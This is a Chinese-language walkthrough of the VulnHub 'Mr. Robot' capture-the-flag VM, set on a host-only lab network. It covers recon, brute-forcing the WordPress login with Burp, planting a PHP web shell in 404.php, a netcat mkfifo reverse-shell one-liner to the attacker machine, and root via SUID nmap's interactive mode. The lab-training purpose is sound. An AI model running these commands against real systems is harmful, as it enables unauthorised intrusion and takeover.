Mr.Robot
最近在看黑客军团(Mr.Robot),其实说实话我觉得这片还是有点像心理犯罪片,以前看的时候有点看不懂在干啥(也可能智商问题),在逛vulnhub的时候又刚好看到有个以这个命名的靶机,就下载下来玩玩了。
项目地址
http://www.vulnhub.com/entry/mr-robot-1,151/
难度:Low-Medium
测试环境
攻击机:Parrot 192.168.56.104 (host-only)
目标靶机:Ubuntu 192.168.56.102 (host-only)
信息收集
首先,打开大鹦鹉。使用arp扫描查找目标IP.arp-scan -I eth1 -l
,使用 -I/--interface
参数指定网络适配器,逐个查找目标计算机。
扫描目标以查看哪些端口打开。nmap -sS -p- -n 192.168.56.102
-sS 使用TCP SYN连接扫描。
-p- 扫描全端口
-n 不进行DNS域名解析
扫描后,你可以看到目标开启了80、443端口,22端口显示关闭。在浏览器访问目标网站服务器
浏览器访问界面看起来像是个Bash,输入几个常用命令,均显示错误,输入help
命令后,会弹出几个可用的自定义命令,应该只是一个php或静态页面,尝试了一下,没有可以利用的点。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-G3frhh78-1638603078091)(https://img.freeaes.com/images/2021/12/03/3.png)]
在访问robots.txt文件时,发现两个敏感文件(fsocity.dic和key-1-of-3.txt)。访问key-1-of-3.txt文件获取到第一个Key。fsocity.dic
看起来像一个字典文件,先保存下来.
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aja8DSbg-1638603078092)(https://img.freeaes.com/images/2021/12/03/5.png)]
在目录遍历的过程中,我找到一个登录页,访问它,是一个WordPress程序,访问wp-admin
路径并找到后台登录页。但我没有帐户密码。考虑到先前下载的fsocity.dic
是一个字典文件,我可以用其进行暴力破解。
暴力破解
在进行爆破前,我需要知道用户名是什么,我测试了几个常用的用户名,但均显示用户不存在,我觉得用户名应该也存在于刚才的字典内。然后添加变量为user_login
参数。
首先打开BurpSuite并抓取数据包,将捕获的请求数据包发送到入侵模块。按清除按钮清除默认选择的变量。
但我发现先前保存的字典有7点多mb大小。我想可能需要清除一些重复的字段。使用’cat fsocity.dic | sort-u>fsocity’命令将重复的检查结果保存到文件fsocity,以看到,执行后的文件大小仅为95k。在Burp中导入字典。根据设备配置设置resource pool
,然后start attack。
破解后有三个用户名返回的包大小与其他包不一致,查看返回包,可以发现用户名存在,但无法向邮箱发送电子邮件(可能是配置问题),但并不妨碍我们进行下一步行动。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eEmcZzZx-1638603078094)(https://img.freeaes.com/images/2021/12/03/13.png)]
找到用户名,下一步是爆破密码。返回登录页面并获取包含登录信息的数据包。同样,将其发送到Intrude模块并清除默认变量。这一次,您需要添加两个变量log
和pwd
(因为要破解的用户名不是唯一的),并将攻击类型设置为Cluster bomb。将三个刚刚破解的用户名添加到payload1,并将fsocity.dic字典加载到payload2。设置resource pool后,start attack。
上传Web Shell
暴力破解后,会得到三组用户名和密码(elliot/ER28-0652、elliot/ER28-0652、elliot/ER28-0652)。三组密码都可以成功登录。使用其中一个登录到管理面板。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-opN3d9dB-1638603078096)(https://img.freeaes.com/images/2021/12/03/20.png)]
一般WordPress可以在appearance的editor子项中编辑PHP文件。我们可以通过修改404.php来写入WebShell。然后使用AntSwarm连接到WebShell(http://192.168.56.102/wp-content/themes/twentyfifteen/404.php)
在查看网站根目录中的文件时发现了三个可疑文件(License.txt、License.bk、you-will-never-guess-this-file-name.txt)。License
本身并不可疑,但我不知道它为什么需要备份。
通过检查文件内容,可以发现license.bk
和you will event this file name.txt
并没有什么问题,但文件license.txt
中有一串经过Base64加密的密文。
通过使用工具解密,可以看出它只是刚刚爆破出来的WordPress网站的后台账号密码。
在查看用户的家目录时,我在robot用户的家目录中发现了两个文件。查看第一个文件时,系统将提示您权限不足。使用ls
命令查看文件的所有者为robot,Key-2-of-3.txt
只能由robot或root读取,但幸运的是,可以查看第二个文件。
查看password.raw-md5
文件,返回一段字符串。判断它是一串MD5密文。通过网站解密,解密后的密文是robot/abcdefghijklmnopqrstuvwxyz
,这应该是robot用户的帐户密码(解密时,我使用的第一个网站是cmd5.com
,但我发现它居然需要付费才能查看。然后我使用了somd5.com
,幸运的是,它比较良心,并没有向我收费)。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gwi8GxMB-1638603078098)(https://img.freeaes.com/images/2021/12/03/29.png)]
生成TTY Shell
现在已经拥有了robot的用户名和密码,可以直接登录到robot用户查看第二个key。但是,在webshell中直接使用su
命令将返回错误,并且在先前扫描端口时并没有发现目标开启SSH或Telnet服务。所以我需要先创建一个反弹shell。
在执行过程中,我尝试了几种方法,但都没有成功反弹。最后,我使用了rm/tmp/f;mkfifo/tmp/f;cat/tmp/f | /bin/bash-i 2>&1 | nc 192.168.56.104 8848>/tmp/f
命令成功执行。在执行该命令之前,您需要在攻击机打开一个终端并输入nc-lvvp 8848
命令侦听来自目标机器的连接。
要切换到robot用户,我需要生成一个TTY会话,并使用python -c 'import pty;pty.spawn("/bin/bash")'
命令生成TTY Shell。然后使用刚刚解密的密码通过su
命令切换用户,并查看robot家目录下的第二个密钥。
提权
剩下最后一个key,使用find / -name key-*.txt 2>/dev/null
命令扫描整个系统。但是,由于权限不足,甚至找不到第一个key,考虑提权。
使用find / -perm -04000 2>/dev/null
命令在系统中查找具有suid
权限的文件列表。找到nmap
命令并查看其版本信息。5.2.0版之前的Nmap具有交互功能,可用于提权。幸运的是,这个版本是3.8.1,符合版本。
执行nmap --interactive
命令进入交互模式并输入!sh
打开了一个shell。当检查用户的身份时,可以发现它正在以root用户身份运行。
再次查找,在root目录中找到第三个key。直接查看该文件。